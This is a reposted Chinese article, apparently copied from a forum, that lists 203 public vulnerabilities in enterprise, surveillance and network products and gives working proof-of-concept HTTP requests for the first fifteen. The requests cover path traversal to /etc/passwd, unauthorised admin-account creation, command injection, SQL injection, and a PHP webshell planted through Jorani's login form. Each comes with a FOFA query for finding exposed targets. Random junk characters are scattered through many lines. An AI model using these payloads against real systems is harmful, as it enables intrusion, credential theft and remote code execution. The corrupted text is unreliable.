互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
1 y/ e* e' H) j5 ~道一安全 2024-06-05 07:41 北京
4 S: c2 r1 v, [0 Z6 k以下文章来源于网络安全新视界 ，作者网络安全新视界
. y& z5 t- F' b5 y1 j
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

+ o9 a( d! F( P9 i0 k漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
$ l& a4 q" Q8 p& [
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

/ @; t5 }3 J, j7 C# c1 T文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
$ O# V# W# R( g1 j% S* M3 y7 s
% c8 F* s7 M8 K/ e9 E合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
- @- @# B9 |: h' f2 m
+ r' a8 l) z" Q0 n) F+ g- j  ^9 U
声明

/ n: q. B- _+ O( `: L0 C/ \4 d为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
. c) f' [. d% p7 h9 O( W
' w. |$ [# \, W% k2 u2 t有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
/ Y+ ^# Y# J' j2 `3 G2 D4 V) T
* J: l* m4 `* W; ~( l1 r$ j

目录
) s1 F% r9 @, N2 ]. \
01
  ]$ @( y3 |+ x5 O8 b  q0 `2 \
) l5 S9 F3 w& ^: a! ?+ m8 ?7 ^1. StarRocks MPP数据库未授权访问
- y" Q6 v1 Y3 {- E2. Casdoor系统static任意文件读取
6 N2 R9 F# u$ Z7 v/ h4 m$ v3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
4 ]% }5 r% k, z4 h) J# m5. NUUO NVR 视频存储管理设备远程命令执行
6 k% `; K0 V/ V6. 深信服 NGAF 任意文件读取
( K3 A& v9 L, `) x9 ~: E. X. E+ E, Y7. 鸿运主动安全监控云平台任意文件下载
9 |$ E' q% x. C7 Q8. 斐讯 Phicomm 路由器RCE
8 W1 ^" n( l6 G2 h9. 稻壳CMS keyword 未授权SQL注入
/ G: ~2 c# @5 B# k# X9 }10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
9 j: P% c0 S  j- t. C/ l11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
. t( q9 p+ u: E( T4 V" G' t: d12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
3 n* `2 o! t: o. J' Z4 h14. 华夏ERP（jshERP）敏感信息泄露
2 _! J' e; X# C4 ~) B) I15. 华夏ERP getAllList信息泄露
4 W( C# k  Z2 D' {& V- F: i) d16. 红帆HFOffice医微云SQL注入
% |+ I% M9 k5 V* u9 {9 ~3 E17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
# Z: F; I# {0 v2 B: l( o; ~4 v22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
6 {5 ~2 v/ r' `& p27. 用友 NC showcontent SQL注入
( o! x7 {& ^0 C9 ^/ {% A+ [7 R- Z28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
3 a# Q8 Z8 W1 {8 t31. 用友NC runStateServlet SQL注入
) A0 U* n7 E( X% s" h5 B- H9 T32. 用友NC complainbilldetail SQL注入
0 o- M8 j1 o8 G: f5 m" M& _4 m33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
9 o( @, d1 x5 O* c35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
" P) r  [6 X7 ^40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
/ f9 S1 Z2 h- Y* L; B42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
& d! t9 Q4 V& U- I3 Q# ?5 h47. 用友GRP A++Cloud 政府财务云 任意文件读取
+ L, B7 ^" V/ [4 C5 a0 Q( J48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
5 }! l1 P- v+ S  ^0 r50. QDocs Smart School 6.4.1 filterRecords SQL注入
1 b& ]* R& d2 f+ C/ k2 Z51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
# _  N# [& C7 [, g58. 畅捷通T+ KeyInfoList.aspx sql注入
/ o1 q2 T5 F$ w% j3 k: h  o/ \59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
. |6 l- ]  S5 p# G7 N) i5 d% y64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
0 p) k% u' N6 v4 @68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
1 r; c7 a# [7 `! n" \. W73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
, u5 m, N0 @6 D  q+ Q75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
' h% Q7 X) I" D5 d! W' i; s77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
& z, N, T. y/ q$ N0 Y& v* q81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
8 x) O3 N) l- Z0 Y% N7 `* V( s82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
6 Z7 l% T- x, H83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. B5 g& v% k2 G85. SysAid On-premise< 23.3.36远程代码执行
$ s! [# x! b6 ]. A& V  x1 }# I86. 日本tosei自助洗衣机RCE
# S2 S, |9 W* c: @9 n- i+ b' T) I87. 安恒明御安全网关aaa_local_web_preview文件上传
, @" j6 `5 k: C6 [6 n. v! P: m3 [3 @! J% I88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 T! B7 e' f9 e# b8 n5 L1 J4 _6 n89. 致远互联FE协作办公平台editflow_manager存在sql注入
! h- L6 x* L, s8 ~+ T, _, q90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 p1 v' l4 r- h8 U; F/ k& s94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
/ m) o+ |) G# }" S" n97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
" I8 k8 J- W4 M( E  O; G: e' e* t99. Ncast盈可视高清智能录播系统busiFacade RCE
  N5 v" I5 z4 {! H8 `100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
% }+ G. l2 a5 L; R' {" q* @% d! ~0 S101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
2 y! M0 O/ v1 ~110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
. K* X! d2 H& g7 a$ O( Z113. WordPress Automatic 插件任意文件下载和SSRF
# C* Q* |- G6 _. B& H" b114. WordPress MasterStudy LMS插件 SQL注入
$ n+ U/ n9 R! H& v1 A8 M* d4 }9 v115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
8 j, ]0 C' j- q8 G& ]8 t117. WordPress LayerSlider插件SQL注入
' y' u$ F; D1 U118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
& v) d* `5 m, }6 M5 u$ e, P119. 北京百绰智能S20后台sysmanageajax.php sql注入
% g. `& m4 i, T" h120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
0 ^: p0 o& L' T123. Atlassian Confluence 模板注入代码执行
% m; y8 x$ Z) o8 P+ Q2 s6 y124. 湖南建研工程质量检测系统任意文件上传
7 `: w" f: j/ \2 f: l125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
, K/ e  h' ^+ A130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
" q( k# p4 l9 e; _: g132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
2 R  I+ h7 L1 F$ D: C134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
, C, x  k' V  E4 r6 l137. 福建科立迅通信指挥调度平台down_file.php sql注入
; [, [" ^$ b+ {$ o* O6 [138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
9 m$ E) |" n" ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
# S7 Q0 j( Y1 p  @% g) ?1 c140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: i! P2 `9 O; I' e  l* @( `0 O141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
  s$ |# a3 A6 L- ?+ s143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
$ p2 h! k8 A' \$ {145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
2 D7 m( a) `2 I1 W% M147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
0 U/ [4 U2 _3 k. H% D148. CrushFTP 认证绕过模板注入
, ?1 I8 S, S  I/ k3 s4 L" H! b) V149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
# ~# ^) R$ S8 W: [/ ]" K5 D' {151. AJ-Report 1.4.1 pageList sql注入
8 _( `4 l' J! G; v' T0 s152. Progress Kemp LoadMaster 远程命令执行
( w9 y" g; v, X153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
) a" N# J9 c1 n& N& Y& r2 w: j! j156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
7 o/ \/ A- A* t( Y9 W, p159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
$ A  N4 C1 a1 }0 E, a0 t+ M161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
+ ^: ^) c9 w9 k5 X& P9 {: G162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
6 P  D* v0 [% z9 ?& w- V, F163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
3 q+ x; Y4 K# O. z4 I) O164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
. V" L4 e+ i; Z4 p7 A165. OrangeHRM 3.3.3 SQL 注入
) [% I5 k& M8 e; n7 i! q9 `! y166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
9 z+ T9 n+ D" F5 G/ ~1 X' }9 s168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 I$ O1 U1 |  ^0 |) \171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
3 O, B$ N1 ]8 ]( V# E" T9 b175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
5 a) J% q# @8 i$ O176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
5 n0 h# x- k+ Q. U% @178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
9 r2 A* i9 O$ H4 O+ B& u180. 帮管客 CRM jiliyu SQL注入
/ g, L: U2 n% }0 K# p6 P) p181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
0 ~# S2 O* L5 D: j1 e, E: @  E% i182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 W& L  s; s2 W6 w& T+ a183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
3 W  m7 s) ~' {% v185. 瑞友天翼应用虚拟化系统SQL注入
" I' @- e; l) f186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
/ J8 z  K7 m) V: @! i188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
4 [& d0 S$ o5 P190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
8 H8 |% i( d  {2 J192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 C+ F1 f6 B, q& ?% e+ e2 ?4 u193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
8 ?( Q' H$ R. y7 W% r194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
% L+ e6 h% W3 |0 w# l% `, z196. 河南省风速科技统一认证平台密码重置
7 D# H% e* g( ~' W197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
1 k0 v2 D0 F$ [' w% E! R198.  阿里云盘 WebDAV 命令注入
5 J5 D/ E" m& w/ x199. cockpit系统assetsmanager_upload接口 文件上传
, L6 B& G; l- u5 g200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

- J; b( H( N6 N3 _/ v02
8 L) `/ d  y; {9 v# ~) D6 D
& g4 Q! z& u5 m. D8 s: r# q1. StarRocks MPP数据库未授权访问
. \0 `5 g7 q3 r3 d: h4 E1 ^FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. |7 l; d' _  W) z$ E# C, dConnection: close
Accept: */*
. v. U2 K  T7 y3 ]5 `# M2 `Accept-Language: en
. p+ h' `) P8 j+ x7 H+ e& ]2 MAccept-Encoding: gzip


/ ?2 Q3 V. B' o9 o) F1 J# M5 M3. EasyCVR智能边缘网关 userlist 信息泄漏
& f) [% b2 @8 H2 RFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
0 r, X6 G5 l! R' G* s( _FOFA ：title="EasyCVR"
3 T% M  c# x& m7 W0 T$ W, x
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
) F6 d( l7 n3 i" D* z9 Z7 H7 W* M: WHost: your-ip
' J; q8 K* R3 B# @/ ]; n( wContent-Type: application/x-www-form-urlencoded; charset=UTF-8
0 j( [/ i# I. l
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


% E2 ], U7 D' [& O3 D( p% u5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
  L1 Y- `+ C( t+ Z+ dHost: xx.xx.xx.xx

1 }. J$ j, z4 w
# A/ a+ ^! W* G; \: O7 ?5 `# M6. 深信服 NGAF 任意文件读取
  F( g5 L) v; f8 P/ dFOFA：title="SANGFOR | NGAF"
( G+ ~: T( V/ j, N4 d/ n( [/ qGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
' S1 _# }8 j2 v/ AHost:
8 _9 H+ c4 C$ D$ n7 I' g: o
& P/ C) C; E" q) Q0 n
; P% z( O$ t3 g' Z. s( A7 T( ~5 P7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
( l3 [2 O2 T, ^4 WGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
2 F5 H$ }" q2 {6 Z+ YHost:
) W$ F: n. \: ?0 O, e
  C( c7 G; X- X4 _$ W+ g
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
' \/ V5 [" z. [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

& f3 Y$ a9 l  r0 N------WebKitFormBoundaryxbgjoytz
( q, u0 @$ K! L% o) [Content-Disposition: form-data; name="wifiRebootEnablestatus"
# p3 g, b* t- O" O7 ~
%s
0 R9 p( }8 s+ a  R" p8 R------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

' B1 q% y" Y8 J( @3 H$ ?/ j" b; |12:00; id;
. r/ G' H+ ^/ u  @- U" Q------WebKitFormBoundaryxbgjoytz
: K  c9 b( F  ?6 U7 dContent-Disposition: form-data; name="wifiRebootendrange"
- n) y2 [% b' A" ?# o, C
6 F5 j* e# q; O/ z%s:
* B) j- U+ T+ l  R------WebKitFormBoundaryxbgjoytz
& O, S7 E+ ]0 i7 L9 m" [Content-Disposition: form-data; name="cururl2"
. r2 U7 @$ _- [0 u2 w
; L/ I. x8 V$ q
2 g9 j; B! Z* D$ y* v" _5 G& x------WebKitFormBoundaryxbgjoytz--


% _( L7 M; H5 Z$ p9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
/ h  {6 U3 L$ I' eHost: x.x.x.x
& S4 A5 k3 t5 a8 t& z

9 w" `! a$ G8 M. rpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
6 X6 \6 h% F& ^2 K
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
3 O8 r' W$ o! h# ?+ cFOFA：icon_hash="953405444"
  V$ @/ E9 r. z$ [  o& ?
- T% E6 r+ e; l1 T8 K2 e) {/ u# ^' }文件上传后响应中包含上传文件的路径
) ~: H: d) L( BPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
9 D, s1 b# h6 v2 q$ g5 y4 Y% `; IHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
- E& E1 F* s# e% v# {+ FContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
% ~+ s0 ^+ _, g1 D1 I; J2 b0 N3 RAccept-Language: zh-CN,zh;q=0.9
3 Q/ h* Y8 R9 t( @; x+ q5 \( ]) kConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
5 F; ]  n% G+ ~, ^) V8 W+ D
$ m' V) ~: B+ k& n------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
3 [) w+ N6 g% qContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 I1 \/ z: A/ S

) V0 L( E. x* L( D$ X$ e) S. L11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ E0 C3 p9 N9 i/ |. y+ N0 Z2 KHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
9 V0 B' `6 k/ L9 E0 L7 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: [/ c1 G; W3 g5 hAccept-Encoding: gzip, deflate
$ o! e* t# L( |. [( _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
( p4 M4 U, S1 d- i. nConnection: close
$ x3 D6 ~9 `1 D
( j6 t1 p0 q. y2 E. H
' H  S; g* X  ^% @12. Jorani < 1.0.2 远程命令执行
# I7 B# x3 v  ^& i: \4 {& kFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
9 ?+ L* L& _1 h# K' m* dHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
  w/ Y+ `+ \: o1 g% C$ xCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
( U. s4 T* t6 PDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
  j' f0 |" P1 @) \0 `  L7 a  PLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
* T+ \  |2 d' ~Pragma: no-cache
2 ]- ~' @) q; q" p( n% }1 FServer: Apache/2.4.54 (Debian)
* K  W( N  d* j2 _2 U& WSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
7 t. S) a' t' m! j) QSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
/ l! H' `" m9 Y0 m9 XVary: Accept-Encoding
% V9 g. j+ B# Z# V% {3 v1 w$ i
" N# {* S4 }, e  l% z9 V% y5 u
; r# {1 m% L8 N( D1 PPOST请求，执行函数并进行base64编码
3 h+ S3 `2 _) t4 }* zPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
6 V; |$ i0 ?( Z: aContent-Length: 252
& F9 \8 K2 Y) ?0 H4 pContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 S, T" R& {9 M: q! GAccept-Encoding: gzip
0 \' I/ ~7 w1 {
4 Z+ @* B! B1 P9 K( Dcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
2 [# i/ F$ }) ^5 g" G
# A' x+ X: G3 L6 `; c* y1 e: M7 v

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
! {- C' j$ f; P2 W5 IGET /pages/view/log-2023-10-24 HTTP/1.1
8 X4 h! n/ ^3 P# F, AHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 ~5 H- [4 `3 F& z; ]) V% ZConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
" U. G' v  f# X# \4 V8 gAccept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
! W" g( u  z( G* h: aGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& U( _( @) N; X( e" l+ JConnection: close
8 Q& s' {; |1 J/ g; qAccept: */*
4 {( S/ v5 r/ h" i  hAccept-Encoding: gzip
' d5 V- C/ w4 g( F

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' i( e) z5 B5 ?- j; c; `Host: x.x.x.x
' H0 x% Z* |2 O1 A; z2 S+ aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
! X9 d# n4 h" `: G* x+ ~" H. BAccept-Language: en
Accept-Encoding: gzip
5 y$ ]4 ?2 e9 a

15. 华夏ERP getAllList信息泄露
4 A1 }3 Y% d. p# z' K1 bCVE-2024-0490
FOFA：body="jshERP-boot"
8 I; _1 L/ L) ]泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
2 X5 ]6 [2 z* v  v9 BHost: 192.168.40.130:100
$ f0 n+ {. M9 C0 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
' j; i( \0 ]6 O* Y4 }Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
- n  l# ~/ E, r; A% l8 F" P4 cAccept-Language: en
